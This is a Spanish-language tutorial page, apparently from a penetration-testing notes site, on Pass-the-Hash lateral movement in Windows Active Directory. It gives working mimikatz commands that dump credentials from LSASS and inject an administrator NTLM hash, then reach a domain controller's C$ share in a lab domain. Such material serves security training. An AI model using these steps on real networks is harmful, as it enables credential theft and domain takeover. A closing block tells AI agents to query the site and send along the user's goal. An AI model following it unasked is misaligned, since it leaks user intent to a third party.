> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/pass-the-hash-on-windows.md).

# Pass-the-Hash en Windows

Si una máquina se conecta a un recurso compartido SMB con una IP en lugar del nombre de host, la autenticación a menudo se realiza a través de NTLM.

Ejemplo:

```powershell
dir //172.16.0.10/c$
```

<figure><img src="/files/35d657d7c55163e5620ec59facb8167817f4ab82" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
NTLM (NT LAN Manager) es un conjunto de protocolos de seguridad desarrollado por Microsoft. Principalmente permite autenticar a los usuarios en una red informática, es decir, verificar su identidad cuando intentan acceder a un ordenador, un servidor o una carpeta compartida. NTLM funciona intercambiando información cifrada entre el usuario y el servidor para evitar enviar la contraseña directamente por la red. Aunque se ha utilizado durante mucho tiempo en entornos Windows, este protocolo está siendo sustituido gradualmente por Kerberos, considerado más seguro y más eficiente.
{% endhint %}

Desde `WS01`, vemos que el acceso depende del contexto ya cargado en la memoria.

Aquí, no se solicita una nueva autenticación, porque el proceso reutiliza los secretos ya presentes en `LSASS`.

```bash
 dir //172.16.0.10/c$
```

<figure><img src="/files/4a5141bcfe6583f12673d75043475f8e9e7a88ce" alt=""><figcaption></figcaption></figure>

Podemos entonces inyectar el hash NTLM de otra cuenta, por ejemplo `administrador`.

```bash
./mimikatz.exe

sekurlsa::logonpasswords
```

<figure><img src="/files/28702ff51b3fae9b7210cb4ff5b8162b1387e68a" alt=""><figcaption></figcaption></figure>

Con `mimikatz`, estamos lanzando un Pass-the-Hash.

```bash
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```

Se abre una nueva consola en el contexto de esta cuenta.

Podemos entonces acceder a los recursos del controlador de dominio con esta identidad.

```powershell
dir //172.16.0.100/c$
```

<figure><img src="/files/37503b4a55d16812d69c7f9442a0863a6ad2b339" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
